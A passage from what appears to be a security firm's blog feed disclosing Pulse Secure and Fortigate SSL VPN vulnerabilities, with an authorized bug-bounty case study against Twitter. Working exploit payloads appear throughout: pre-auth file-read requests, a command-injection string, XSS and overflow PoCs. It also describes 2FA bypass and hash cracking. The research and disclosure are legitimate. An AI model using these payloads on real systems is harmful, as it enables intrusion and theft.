default configurations. It appears only if the admin configures the NFS sharing for the VPN users.</p> <p>If an attacker can control any files on remote NFS server, he can just create a symbolic link to any file, such as <code class="language-plaintext highlighter-rouge">/etc/passwd</code>, and read it from web interface. The root cause is that the implementation of NFS mounts the remote server as a real Linux directory, and the script <code class="language-plaintext highlighter-rouge">/dana/fb/nfs/nfb.cgi</code> does not check whether the accessed file is a symlink or not!</p> <h2 id="cve-2019-11508-post-authuser-arbitrary-file-writing-via-nfs">CVE-2019-11508: Post-auth(user) Arbitrary File Writing via NFS</h2> <p>This one is a little bit similar to the previous one, but with a different attack vector!</p> <p>When the attacker uploads a ZIP file to the NFS through the web interface, the script <code class="language-plaintext highlighter-rouge">/dana/fb/nfs/nu.cgi</code> does not sanitize the filename in the ZIP. Therefore, an attacker can build a malicious ZIP file and traverse the path with <code class="language-plaintext highlighter-rouge">../</code> in the filename! Once Pulse Secure decompresses, the attacker can upload whatever he wants to whatever path!</p> <h2 id="cve-2019-11542-post-authadmin-stack-buffer-overflow">CVE-2019-11542: Post-auth(admin) Stack Buffer Overflow</h2> <p>There is a stack-based buffer overflow in the following Perl module implementations:</p> <ul> <li>DSHC::ConsiderForReporting</li> <li>DSHC::isSendReasonStringEnabled</li> <li>DSHC::getRemedCustomInstructions</li> </ul> <p>These implementations use <code class="language-plaintext highlighter-rouge">sprintf</code> to concatenate strings without any length check, which leads to the buffer overflow. The bug can be triggered in many places, but here we use <code class="language-plaintext highlighter-rouge">/dana-admin/auth/hc.cgi</code> as our PoC.</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>https://sslvpn/dana-admin/auth/hc.cgi ?platform=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA &amp;policyid=0 </code></pre></div></div> <p>And you can observed the segment fault from <code class="language-plaintext highlighter-rouge">dmesg</code></p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>cgi-server[22950]: segfault at 61616161 ip 0000000002a80afd sp 00000000ff9a4d50 error 4 in DSHC.so[2a2f000+87000] </code></pre></div></div> <h2 id="cve-2019-11510-pre-auth-arbitrary-file-reading">CVE-2019-11510: Pre-auth Arbitrary File Reading</h2> <p>Actually, this is the most severe bug in this time. It is in the web server implementation. As our slides mentioned, Pulse Secure implements their own web server and architecture stack from scratch. The original path validation is very strict. However, since version 8.2, Pulse Secure introduced a new feature called <code class="language-plaintext highlighter-rouge">HTML5 Access</code>, it’s a feature used to interact with Telnet, SSH, and RDP by browsers. Thanks to this new feature, the original path validation becomes loose.</p> <p>In order to handle the static resources, Pulse Secure created a new IF-CONDITION to widen the originally strict path validation. The code wrongly uses the <code class="language-plaintext highlighter-rouge">request-&gt;uri</code> and <code class="language-plaintext highlighter-rouge">request-&gt;filepath</code>, so that we can specify the <code class="language-plaintext highlighter-rouge">/dana/html5acc/guacamole/</code> in the end of the query string to bypass the validation and make <code class="language-plaintext highlighter-rouge">request-&gt;filepath</code> to any file you want to download!</p> <p>And it’s worth to mention that in order to read arbitrary files, you must to specify the <code class="language-plaintext highlighter-rouge">/dana/html5acc/guacamole/</code> in the middle of the path again. Otherwise, you can only download limited file extensions such as .json, .xml or .html.</p> <p>Due to the exploit is in the wild, there is no longer any concern to show the payload:</p> <div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">requests</span> <span class="n">r</span> <span class="o">=</span> <span class="n">requests</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">'https://sslvpn/dana-na/../dana/html5acc/guacamole/../../../../../../etc/passwd?/dana/html5acc/guacamole/'</span><span class="p">)</span> <span class="k">print</span> <span class="n">r</span><span class="p">.</span><span class="n">content</span> </code></pre></div></div> <p><img src="/assets/img/blog/20190902/2.png" alt="" /></p> <h2 id="cve-2019-11539-post-authadmin-command-injection">CVE-2019-11539: Post-auth(admin) Command Injection</h2> <p>The last one is a command injection on the management interface. We found this vulnerability very early, but could not find a way to exploit it at first. While we were in Vegas, one of my friends told me that he found the same bug before, but he didn’t find a way to exploit it, so he didn’t report to the vendor.</p> <p>However, we did it, and we exploit it in a very smart way :)</p> <p>The root cause of this vulnerability is very simple. Here is a code fragment of <code class="language-plaintext highlighter-rouge">/dana-admin/diag/diag.cgi</code>:</p> <div class="language-perl highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># ...</span> <span class="nv">$options</span> <span class="o">=</span> <span class="nv">tcpdump_options_syntax_check</span><span class="p">(</span><span class="nn">CGI::</span><span class="nv">param</span><span class="p">("</span><span class="s2">options</span><span class="p">"));</span> <span class="c1"># ...</span> <span class="k">sub </span><span class="nf">tcpdump_options_syntax_check</span> <span class="p">{</span> <span class="k">my</span> <span class="nv">$options</span> <span class="o">=</span> <span class="nb">shift</span><span class="p">;</span> <span class="k">return</span> <span class="nv">$options</span> <span class="k">if</span> <span class="nb">system</span><span class="p">("</span><span class="si">$TCPDUMP_COMMAND</span><span class="s2"> -d </span><span class="si">$options</span><span class="s2"> &gt;/dev/null 2&gt;&amp;1</span><span class="p">")</span> <span class="o">==</span> <span class="mi">0</span><span class="p">;</span> <span class="k">return</span> <span class="nb">undef</span><span class="p">;</span> <span class="p">}</span> </code></pre></div></div> <p>It’s so obvious and straightforward that everyone can point out there is a command injection at the parameter <code class="language-plaintext highlighter-rouge">options</code>! However, is it that easy? No!</p> <p>In order to avoid potential vulnerabilities, Pulse Secure applies lots of hardenings on their products! Such as the system integrity check, read-only filesystem and a module to hook all dangerous Perl invocations like <code class="language-plaintext highlighter-rouge">system</code>, <code class="language-plaintext highlighter-rouge">open</code> and <code class="language-plaintext highlighter-rouge">backtick</code>…</p> <p>This module is called <code class="language-plaintext highlighter-rouge">DSSAFE.pm</code>. It implements its own command line parser and re-implements the I/O redirections in Perl. Here is <a href="https://gist.github.com/orangetw/d8df11b147629bb320e7db903c7e7147">the code fragments on Gist</a>.</p> <p>From the code fragments, you can see it replaces the original <code class="language-plaintext highlighter-rouge">system</code> and do lots of checks in <code class="language-plaintext highlighter-rouge">__parsecmd</code>. It also blocks numerous bad characters such as:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[\&amp;\*\(\)\{\}\[\]\`\;\|\?\n~&lt;&gt;] </code></pre></div></div> <p>The checks are very strict so that we can not perform any command injection. We imagined several ways to bypass that, and the first thing came out of my mind is the argument injection. We listed all arguments that <code class="language-plaintext highlighter-rouge">TCPDUMP</code> supports and found that the <code class="language-plaintext highlighter-rouge">-z postrotate-command</code> may be useful. But the sad thing is that the <code class="language-plaintext highlighter-rouge">TCPDUMP</code> in Pulse Secure is too old(v3.9.4, Sept 2005) to support this juicy feature, so we failed :(</p> <p>While examining the system, we found that although the webroot is read-only, we can still abuse the cache mechanism. Pulse Secure caches the template result in <code class="language-plaintext highlighter-rouge">/data/runtime/tmp/tt/</code> to speed up script rendering. So our next attempt is to write a file into the template cache directory via <code class="language-plaintext highlighter-rouge">-w write-file</code> argument. However, it seems impossible to write a polyglot file in both PCAP and Perl format.</p> <p>As it seems we had reached the end of argument injection, we tried to dig deeper into the <code class="language-plaintext highlighter-rouge">DSSFAFE.pm</code> implementation to see if there is anything we can leverage. Here we found a defect in the command line parser. If we insert an incomplete I/O redirection, the rest of the redirection part will be truncated. Although this is a tiny flaw, it helped us to re-control the I/O redirections! However, the problem that we can’t generate a valid Perl script still bothered us.</p> <p>We got stuck here, and it’s time to think out of the box. It’s hard to generate a valid Perl script via <code class="language-plaintext highlighter-rouge">STDOUT</code>, could we just write the Perl by <code class="language-plaintext highlighter-rouge">STDERR</code>? The answer is yes. When we force the <code class="language-plaintext highlighter-rouge">TCPDUMP</code> to read a nonexistent-file via <code class="language-plaintext highlighter-rouge">-r read-file</code>. It shows the error:</p> <blockquote> <p>tcpdump: [filename]: No such file or directory</p> </blockquote> <p>It seems we can “<strong>partially</strong>” control the error message. Then we tried the filename <code class="language-plaintext highlighter-rouge">print 123#</code>, and the magic happens!</p> <div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>tcpdump <span class="nt">-d</span> <span class="nt">-r</span> <span class="s1">'print 123#'</span> tcpdump: print 123#: No such file or directory <span class="nv">$ </span>tcpdump <span class="nt">-d</span> <span class="nt">-r</span> <span class="s1">'print 123#'</span> 2&gt;&amp;1 | perl – 123 </code></pre></div></div> <p>The error message becomes a valid Perl script now. Why? OK, let’s have a Perl 101 lesson now!</p> <p><img src="/assets/img/blog/20190902/3.png" alt="" /></p> <p>As you can see, Perl supports the GOTO label, so the <code class="language-plaintext highlighter-rouge">tcpdump: </code> becomes a valid label in Perl. Then, we comment the rest with a hashtag. With this creative trick, we can generate any valid Perl now!</p> <p>Finally, we use an incomplete I/O symbol <code class="language-plaintext highlighter-rouge">&lt;</code> to fool the <code class="language-plaintext highlighter-rouge">DSSAFE.pm</code> command parser and redirect the <code class="language-plaintext highlighter-rouge">STDERR</code> into the cache directory! Here is the final exploit:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>-r$x="ls /",system$x# 2&gt;/data/runtime/tmp/tt/setcookie.thtml.ttc &lt; </code></pre></div></div> <p>The concatenated command looks like:</p> <div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/usr/sbin/tcpdump <span class="nt">-d</span> <span class="nt">-r</span><span class="s1">'$x="ls /",system$x#'</span> 2&gt;/data/runtime/tmp/tt/setcookie.thtml.ttc &lt; <span class="o">&gt;</span>/dev/null 2&gt;&amp;1 </code></pre></div></div> <p>And the generated <code class="language-plaintext highlighter-rouge">setcookie.thtml.ttc</code> looks like:</p> <div class="language-perl highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="nv">tcpdump:</span> <span class="nv">$x</span><span class="o">=</span><span class="p">"</span><span class="s2">ls /</span><span class="p">",</span><span class="nb">system</span><span class="nv">$x</span><span class="c1">#: No such file or directory</span> </code></pre></div></div> <p>Once we have done this, we can just fetch the corresponding page to execute our command:</p> <div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>curl https://sslvpn/dana-na/auth/setcookie.cgi boot bin home lib64 mnt opt proc sys usr var data etc lib lost+found modules pkg sbin tmp ... </code></pre></div></div> <p>So far, the whole technical part of this command injection is over. However, we think there may be another creative way to exploit this, if you found one, please tell me!</p> <h1 id="the-case-study">The Case Study</h1> <p>After Pulse Secure patched all the bugs on <strong>April 24, 2019</strong>. We kept monitoring the Internet to measure the response time of each large corporation. Twitter is one of them. They are known for their <a href="http://hackerone.com/twitter">bug bounty program</a> and nice to hackers. However, it’s improper to exploit a 1-day right after the patch released. So we wait 30 days for Twitter to upgrade their SSL VPN.</p> <p><img src="/assets/img/blog/20190902/4.png" alt="" /></p> <p>We have to say, we were nervous during that time. The first thing we did every morning is to check whether Twitter upgrades their SSL VPN or not! It was an unforgettable time for us :P</p> <p>We started to hack Twitter on <strong>May 28, 2019</strong>. During this operation, we encounter several obstacles. The first one is, although we can obtain the plaintext password of Twitter staffs, we still can’t log into their SSL VPN because of the Two Factor Authentication. Here we suggest two ways to bypass that. The first one is that we observed Twitter uses the solution from <a href="https://duo.com">Duo</a>. The <a href="https://duo.com/docs/pulseconnect">manual</a> mentions:</p> <blockquote> <p>The security of your Duo application is tied to the security of your secret key (skey). Secure it as you would any sensitive credential. Don’t share it with unauthorized individuals or email it to anyone under any circumstances!</p> </blockquote> <p>So if we can extract the secret key from the system, we can leverage the Duo API to bypass the 2FA. However, we found a quicker way to bypass it. Twitter enabled the <a href="https://kb.pulsesecure.net/articles/Pulse_Secure_Article/KB30329">Roaming Session</a> feature, which is used to enhances mobility and allows a session from multiple IP locations.</p> <p>Due to this “<strong>convenient</strong>” feature, we can just download the session database and forge our cookies to log into their system!</p> <p><img src="/assets/img/blog/20190902/5.png" alt="" /></p> <p>Until now, we are able to access Twitter Intranet. Nevertheless, our goal is to achieve code execution! It sounds more critical than just accessing the Intranet. So we would like to chain our command injection bug(CVE-2019-11539) together. OK, here, we encountered another obstacle. It’s the restricted management interface!</p> <p>As we mentioned before, our bug is on the management interface. But for the security consideration, most of the corporation disable this interface on public, so we need another way to access the admin page. If you have read our previous article carefully, you may recall the “<strong>WebVPN</strong>” feature! WebVPN is a proxy which helps to connect to anywhere. So, let’s connect to itself.</p> <p>Yes, it’s SSRF! <br /><br />Here we use a small trick to bypass the SSRF protections.</p> <p><img src="/assets/img/blog/20190902/6.png" alt="" /></p> <p>Ahha! Through our SSRF, we can touch the interface now! Then, the last obstacle popped up. We didn’t have any plaintext password of managers. When Perl wants to exchange data with native procedures, such as the Perl extension in C++ or web server, it uses the cache to store data. The problem is, Pulse Secure forgets to clear the sensitive data after exchange, so that’s why we can obtain plaintext passwords in the cache. But practically, most of the managers only log into their system for the first time, so it’s hard to get the manager’s plaintext password. The only thing we got, is the password hash in <code class="language-plaintext highlighter-rouge">sha256(md5_crypt(salt, …))</code> format…</p> <p>If you are experienced in cracking hashes, you will know how hard it is. So…</p> <p><br /> <br /> <br /> <br /> <br /></p> <p>We launched a 72 core AWS to crack that.</p> <p><img src="/assets/img/blog/20190902/7.png" alt="" /></p> <p>We cracked the hash and got the RCE successfully! I think we are lucky because from our observation, there is a very strong password policy on Twitter staffs. But it seems the policy is not applied to the manager. The manager’s password length is only ten, and the first character is <strong>B</strong>. It’s at a very early stage of our cracking queue so that we can crack the hash in 3 hours.</p> <p>We reported all of our findings to Twitter and got the highest bounty from them. Although we can not prove that, it seems this is the first remote code execution on Twitter! If you are interested in the full report, you can check the <a href="https://hackerone.com/reports/591295">HackerOne link</a> for more details.</p> <h1 id="recommendations">Recommendations</h1> <p>How to mitigate such attacks? Here we give several recommendations.</p> <p>The first is the Client-Side Certificate. It’s also the most effective method. Without a valid certificate, the malicious connection will be dropped during SSL negotiation! The second is the Multi-factor Authentication. Although we break the Twitter 2FA this time, with a proper setting, the MFA can still decrease numerous attack surface. Next, enable the full log audit and remember to send to an out-bound log server.</p> <p>Also, perform your corporate asset inventory regularly and subscribe to the vendor’s security advisory. The most important of all, always keep your system updated!</p> <h1 id="bonus-take-over-all-the-vpn-clients">Bonus: Take over all the VPN clients</h1> <p>Our company, <a href="https://devco.re/">DEVCORE</a>, provides the most professional red team service in Asia. In this bonus part, let’s talk about how to make the red team more <strong>RED</strong>!</p> <p>We always know that in a red team operation, the personal computer is more valuable! There are several old-school methods to compromise the VPN clients through SSL VPN before, such as the water-hole attack and replacing the VPN agent.</p> <p>During our research, we found a new attack vector to take over all the clients. It’s the “<strong>logon script</strong>” feature. It appears in almost EVERY SSL VPNs, such as OpenVPN, Fortinet, Pulse Secure… and more. It can execute corresponding scripts to mount the network file-system or change the routing table once the VPN connection established.</p> <p>Due to this “<strong>hacker-friendly</strong>” feature, once we got the admin privilege, we can leverage this feature to infect all the VPN clients! Here we use the Pulse Secure as an example, and demonstrate how to not only compromise the SSL VPN but also take over all of your connected clients:</p> <iframe width="560" height="315" src="https://www.youtube.com/embed/v7JUMb70ON4" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen=""></iframe> <h1 id="epilogue">Epilogue</h1> <p>OK, here is the end of this Attacking SSL VPN series! From our findings, SSL VPN is such a huge attack surface with few security researchers digging into. Apparently, it deserves more attention. We hope this kind of series can encourage other researchers to engage in this field and enhance the security of enterprises!</p> <p>Thanks to all guys we met, co-worked and cooperated. We will publish more innovative researches in the future :)</p> https://devco.re/blog/2019/09/02/attacking-ssl-vpn-part-3-the-golden-Pulse-Secure-ssl-vpn-rce-chain-with-Twitter-as-case-study/ https://devco.re/blog/2019/09/02/attacking-ssl-vpn-part-3-the-golden-Pulse-Secure-ssl-vpn-rce-chain-with-Twitter-as-case-study Mon, 02 Sep 2019 00:00:00 +0800 Pulse Secure SSL VPN 資安通報 <h3 id="內容">內容</h3> <p>在我們對 Pulse Secure SSL VPN 的安全研究中,共發現了下列七個弱點。組合利用有機會取得 SSL VPN 設備的最高權限,可讓攻擊者進入用戶內網,甚至控制每個透過 SSL VPN 連線的使用者裝置。</p> <ul> <li>CVE-2019-11510 - Pre-auth Arbitrary File Reading</li> <li>CVE-2019-11542 - Post-auth(admin) Stack Buffer Overflow</li> <li>CVE-2019-11539 - Post-auth(admin) Command Injection</li> <li>CVE-2019-11538 - Post-auth(user) Arbitrary File Reading via NFS</li> <li>CVE-2019-11508 - Post-auth(user) Arbitrary File Writing via NFS</li> <li>CVE-2019-11540 - Post-auth Cross-Site Script Inclusion</li> <li>CVE-2019-11507 - Post-auth Cross-Site Scripting</li> </ul> <p>受影響的版本如下:</p> <ul> <li>Pulse Connect Secure 9.0R1 - 9.0R3.3</li> <li>Pulse Connect Secure 8.3R1 - 8.3R7</li> <li>Pulse Connect Secure 8.2R1 - 8.2R12</li> <li>Pulse Connect Secure 8.1R1 - 8.1R15</li> <li>Pulse Policy Secure 9.0R1 - 9.0R3.3</li> <li>Pulse Policy Secure 5.4R1 - 5.4R7</li> <li>Pulse Policy Secure 5.3R1 - 5.3R12</li> <li>Pulse Policy Secure 5.2R1 - 5.2R12</li> <li>Pulse Policy Secure 5.1R1 - 5.1R15</li> </ul> <p>目前已經出現攻擊者對全世界設備進行大規模掃描,請 Pulse Secure SSL VPN 用戶<strong>儘速更新</strong>,需要更新的版本資源可參考<a href="https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44101">原廠 Pulse Secure 的公告</a>。</p> <h3 id="細節">細節</h3> <p>詳細的技術細節請參閱我們的 Advisory: <a href="https://devco.re/blog/2019/09/02/attacking-ssl-vpn-part-3-the-golden-Pulse-Secure-ssl-vpn-rce-chain-with-Twitter-as-case-study/">https://devco.re/blog/2019/09/02/attacking-ssl-vpn-part-3-the-golden-Pulse-Secure-ssl-vpn-rce-chain-with-Twitter-as-case-study/</a></p> <h3 id="附註">附註</h3> <p>目前亦發現攻擊者對我們之前發表的 <a href="https://devco.re/blog/2019/08/09/Fortigate-SSL-VPN-advisory/">Fortigate SSL VPN</a> 及 <a href="https://devco.re/blog/2019/07/17/Palo-Alto-GlobalProtect-advisory/">Palo Alto GlobalProtect</a> 弱點進行大規模掃描,再次提醒請用戶儘速更新以上 SSL VPN 設備至最新版。</p> https://devco.re/blog/2019/08/28/Pulse-Secure-SSL-VPN-advisory/ https://devco.re/blog/2019/08/28/Pulse-Secure-SSL-VPN-advisory Wed, 28 Aug 2019 00:00:00 +0800 Attacking SSL VPN - Part 2: Breaking the Fortigate SSL VPN <p>Author: Meh Chang(<a href="https://twitter.com/mehqq_">@mehqq_</a>) and Orange Tsai(<a href="https://twitter.com/orange_8361">@orange_8361</a>)</p> <p>Last month, we talked about <a href="https://devco.re/blog/2019/07/17/attacking-ssl-vpn-part-1-PreAuth-RCE-on-Palo-Alto-GlobalProtect-with-Uber-as-case-study/">Palo Alto Networks GlobalProtect RCE</a> as an appetizer. Today, here comes the main dish! If you cannot go to Black Hat or DEFCON for our talk, or you are interested in more details, here is the slides for you!</p> <ul> <li><a href="https://i.blackhat.com/USA-19/Wednesday/us-19-Tsai-Infiltrating-Corporate-Intranet-Like-NSA.pdf">Infiltrating Corporate Intranet Like NSA: Pre-auth RCE on Leading SSL VPNs</a></li> </ul> <p>We will also give a speech at the following conferences, just come and find us!</p> <ul> <li><a href="https://hitcon.org/2019/CMT/agenda">HITCON</a> - Aug. 23 @ Taipei (Chinese)</li> <li><a href="https://gsec.hitb.org/sg2019/agenda/">HITB GSEC</a> - Aug. 29,30 @ Singapore</li> <li><a href="https://www.romhack.io/program_en-2019.html">RomHack</a> - Sep. 28 @ Rome</li> <li>and more …</li> </ul> <h1 id="lets-start">Let’s start!</h1> <p>The story began in last August, when we started a new research project on SSL VPN. Compare to the site-to-site VPN such as the IPSEC and PPTP, SSL VPN is more easy to use and compatible with any network environments. For its convenience, SSL VPN becomes the most popular remote access way for enterprise!</p> <p>However, what if this trusted equipment is insecure? It is an important corporate asset but a blind spot of corporation. According to our survey on Fortune 500, the Top-3 SSL VPN vendors dominate about 75% market share. The diversity of SSL VPN is narrow. Therefore, once we find a critical vulnerability on the leading SSL VPN, the impact is huge. There is no way to stop us because SSL VPN must be exposed to the internet.</p> <p>At the beginning of our research, we made a little survey on the CVE amount of leading SSL VPN vendors:</p> <p><img src="/assets/img/blog/20190807/1.png" alt="" /></p> <p>It seems like Fortinet and Pulse Secure are the most secure ones. Is that true? As a myth buster, we took on this challenge and started hacking Fortinet and Pulse Secure! This story is about hacking <strong>Fortigate SSL VPN</strong>. The next article is going to be about <strong>Pulse Secure</strong>, which is the most splendid one! Stay tuned!</p> <h1 id="fortigate-ssl-vpn">Fortigate SSL VPN</h1> <p>Fortinet calls their SSL VPN product line as Fortigate SSL VPN, which is prevalent among end users and medium-sized enterprise. There are more than 480k servers operating on the internet and is common in Asia and Europe. We can identify it from the URL <code class="language-plaintext highlighter-rouge">/remote/login</code>. Here is the technical feature of Fortigate:</p> <ul> <li> <p>All-in-one binary We started our research from the file system. We tried to list the binaries in <code class="language-plaintext highlighter-rouge">/bin/</code> and found there are all symbolic links, pointing to <code class="language-plaintext highlighter-rouge">/bin/init</code>. Just like this:</p> <p><img src="/assets/img/blog/20190807/2.png" alt="" /></p> <p>Fortigate compiles all the programs and configurations into a single binary, which makes the <code class="language-plaintext highlighter-rouge">init</code> really huge. It contains thousands of functions and there is no symbol! It only contains necessary programs for the SSL VPN, so the environment is really inconvenient for hackers. For example, there is even no <code class="language-plaintext highlighter-rouge">/bin/ls</code> or <code class="language-plaintext highlighter-rouge">/bin/cat</code>!</p> </li> <li> <p>Web daemon There are 2 web interfaces running on the Fortigate. One is for the admin interface, handled with <code class="language-plaintext highlighter-rouge">/bin/httpsd</code> on the port 443. The other is normal user interface, handled with <code class="language-plaintext highlighter-rouge">/bin/sslvpnd</code> on the port 4433 by default. Generally, the admin page should be restricted from the internet, so we can only access the user interface.</p> <p>Through our investigation, we found the web server is modified from apache, but it is the apache from 2002. Apparently they modified apache in 2002 and added their own additional functionality. We can map the source code of apache to speed up our analysis.</p> <p>In both web service, they also compiled their own apache modules into the binary to handle each URL path. We can find a table specifying the handlers and dig into them!</p> </li> <li> <p>WebVPN WebVPN is a convenient proxy feature which allows us connect to all the services simply through a browser. It supports many protocols, like HTTP, FTP, RDP. It can also handle various web resources, such as WebSocket and Flash. To process a website correctly, it parses the HTML and rewrites all the URLs for us. This involves heavy string operation, which is prone to memory bugs.</p> </li> </ul> <h1 id="vulnerabilities">Vulnerabilities</h1> <p>We found several vulnerabilities:</p> <h3 id="cve-2018-13379-pre-auth-arbitrary-file-reading"><a href="https://fortiguard.com/psirt/FG-IR-18-384">CVE-2018-13379</a>: Pre-auth arbitrary file reading</h3> <p>While fetching corresponding language file, it builds the json file path with the parameter <code class="language-plaintext highlighter-rouge">lang</code>:</p> <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">snprintf</span><span class="p">(</span><span class="n">s</span><span class="p">,</span> <span class="mh">0x40</span><span class="p">,</span> <span class="s">"/migadmin/lang/%s.json"</span><span class="p">,</span> <span class="n">lang</span><span class="p">);</span> </code></pre></div></div> <p>There is no protection, but a file extension appended automatically. It seems like we can only read json file. However, actually we can abuse the feature of <code class="language-plaintext highlighter-rouge">snprintf</code>. According to the man page, it writes <strong>at most size-1</strong> into the output string. Therefore, we only need to make it exceed the buffer size and the <code class="language-plaintext highlighter-rouge">.json</code> will be stripped. Then we can read whatever we want.</p> <h3 id="cve-2018-13380-pre-auth-xss"><a href="https://fortiguard.com/psirt/FG-IR-18-383">CVE-2018-13380</a>: Pre-auth XSS</h3> <p>There are several XSS:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/remote/error?errmsg=ABABAB--%3E%3Cscript%3Ealert(1)%3C/script%3E </code></pre></div></div> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/remote/loginredir?redir=6a6176617363726970743a616c65727428646f63756d656e742e646f6d61696e29 </code></pre></div></div> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/message?title=x&amp;msg=%26%23&lt;svg/onload=alert(1)&gt;; </code></pre></div></div> <h3 id="cve-2018-13381-pre-auth-heap-overflow"><a href="https://fortiguard.com/psirt/FG-IR-18-387">CVE-2018-13381</a>: Pre-auth heap overflow</h3> <p>While encoding HTML entities code, there are 2 stages. The server first calculate the required buffer length for encoded string. Then it encode into the buffer. In the calculation stage, for example, encode string for <code class="language-plaintext highlighter-rouge">&lt;</code> is <code class="language-plaintext highlighter-rouge">&amp;#60;</code> and this should occupies 5 bytes. If it encounter anything starts with <code class="language-plaintext highlighter-rouge">&amp;#</code>, such as <code class="language-plaintext highlighter-rouge">&amp;#60;</code>, it consider there is a token already encoded, and count its length directly. Like this:</p> <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">c</span> <span class="o">=</span> <span class="n">token</span><span class="p">[</span><span class="n">idx</span><span class="p">];</span> <span class="k">if</span> <span class="p">(</span><span class="n">c</span> <span class="o">==</span> <span class="sc">'('</span> <span class="o">||</span> <span class="n">c</span> <span class="o">==</span> <span class="sc">')'</span> <span class="o">||</span> <span class="n">c</span> <span class="o">==</span> <span class="sc">'#'</span> <span class="o">||</span> <span class="n">c</span> <span class="o">==</span> <span class="sc">'&lt;'</span> <span class="o">||</span> <span class="n">c</span> <span class="o">==</span> <span class="sc">'&gt;'</span><span class="p">)</span> <span class="n">cnt</span> <span class="o">+=</span> <span class="mi">5</span><span class="p">;</span> <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">c</span> <span class="o">==</span> <span class="sc">'&amp;'</span> <span class="o">&amp;&amp;</span> <span class="n">html</span><span class="p">[</span><span class="n">idx</span><span class="o">+</span><span class="mi">1</span><span class="p">]</span> <span class="o">==</span> <span class="sc">'#'</span><span class="p">)</span> <span class="n">cnt</span> <span class="o">+=</span> <span class="n">len</span><span class="p">(</span><span class="n">strchr</span><span class="p">(</span><span class="n">html</span><span class="p">[</span><span class="n">idx</span><span class="p">],</span> <span class="sc">';'</span><span class="p">)</span><span class="o">-</span><span class="n">idx</span><span class="p">);</span> </code></pre></div></div> <p>However, there is an inconsistency between length calculation and encoding process. The encode part does not handle that much.</p> <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">switch</span> <span class="p">(</span><span class="n">c</span><span class="p">)</span> <span class="p">{</span> <span class="k">case</span> <span class="sc">'&lt;'</span><span class="p">:</span> <span class="n">memcpy</span><span class="p">(</span><span class="n">buf</span><span class="p">[</span><span class="n">counter</span><span class="p">],</span> <span class="s">"&amp;#60;"</span><span class="p">,</span> <span class="mi">5</span><span class="p">);</span> <span class="n">counter</span> <span class="o">+=</span> <span class="mi">4</span><span class="p">;</span> <span class="k">break</span><span class="p">;</span> <span class="k">case</span> <span class="sc">'&gt;'</span><span class="p">:</span> <span class="c1">// ...</span> <span class="nl">default:</span> <span class="n">buf</span><span class="p">[</span><span class="n">counter</span><span class="p">]</span> <span class="o">=</span> <span class="n">c</span><span class="p">;</span> <span class="k">break</span><span class="p">;</span> <span class="n">counter</span><span class="o">++</span><span class="p">;</span> <span class="p">}</span> </code></pre></div></div> <p>If we input a malicious string like <code class="language-plaintext highlighter-rouge">&amp;#&lt;&lt;&lt;;</code>, the <code class="language-plaintext highlighter-rouge">&lt;</code> is still encoded into <code class="language-plaintext highlighter-rouge">&amp;#60;</code>, so the result should be <code class="language-plaintext highlighter-rouge">&amp;#&amp;#60;&amp;#60;&amp;#60;;</code>! This is much longer than the expected length 6 bytes, so it leads to a heap overflow.</p> <p>PoC:</p> <div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">requests</span> <span class="n">data</span> <span class="o">=</span> <span class="p">{</span> <span class="s">'title'</span><span class="p">:</span> <span class="s">'x'</span><span class="p">,</span> <span class="s">'msg'</span><span class="p">:</span> <span class="s">'&amp;#'</span> <span class="o">+</span> <span class="s">'&lt;'</span><span class="o">*</span><span class="p">(</span><span class="mh">0x20000</span><span class="p">)</span> <span class="o">+</span> <span class="s">';&lt;'</span><span class="p">,</span> <span class="p">}</span> <span class="n">r</span> <span class="o">=</span> <span class="n">requests</span><span class="p">.</span><span class="n">post</span><span class="p">(</span><span class="s">'https://sslvpn:4433/message'</span><span class="p">,</span> <span class="n">data</span><span class="o">=</span><span class="n">data</span><span class="p">)</span> </code></pre></div></div> <h3 id="cve-2018-13382-the-magic-backdoor"><a href="https://fortiguard.com/psirt/FG-IR-18-389">CVE-2018-13382</a>: The magic backdoor</h3> <p>In the login page, we found a special parameter called <code class="language-plaintext highlighter-rouge">magic</code>. Once the parameter meets a hardcoded string, we can modify any user’s password.</p> <p><img src="/assets/img/blog/20190807/3.png" alt="" /></p> <p>According to our survey, there are still plenty of Fortigate SSL VPN lack of patch. Therefore, considering its severity, we will not disclose the magic string. However, this vulnerability has been <a href="https://twitter.com/codewhitesec/status/1145967317672714240">reproduced by the researcher from CodeWhite</a>. It is surely that other attackers will exploit this vulnerability soon! Please update your Fortigate ASAP!</p> <blockquote class="twitter-tweet" data-lang="zh-tw"><p lang="en" dir="ltr">Critical vulns in <a href="https://twitter.com/hashtag/FortiOS?src=hash&amp;ref_src=twsrc%5Etfw">#FortiOS</a> reversed &amp; exploited by our colleagues <a href="https://twitter.com/niph_?ref_src=twsrc%5Etfw">@niph_</a> and <a href="https://twitter.com/ramoliks?ref_src=twsrc%5Etfw">@ramoliks</a> - patch your <a href="https://twitter.com/hashtag/FortiOS?src=hash&amp;ref_src=twsrc%5Etfw">#FortiOS</a> asap and see the <a 